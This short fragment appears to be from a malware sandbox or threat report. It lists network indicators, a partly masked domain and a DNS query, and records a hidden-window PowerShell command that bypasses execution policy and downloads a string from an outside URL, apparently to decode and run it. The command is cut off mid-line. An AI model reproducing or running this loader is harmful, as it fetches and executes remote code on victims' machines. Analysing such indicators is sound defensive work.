Technical Information
- $jfdggulqqkhxivsinfxl
- 'di###vus.com':443
- 'di###vus.com':443
- DNS ASK di###vus.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Ex Bypass -NoP -C $jfdgGUlqQkHXIvSInFxL='https://discovus.com/data.php?14605';$OztrImKhMXRmf=(New-Object System.Net.WebClient).DownloadString($jfdgGUlqQkHXIvSInFxL);$PofDRaYuOjABrLo=[System.Co...' (with hidden window)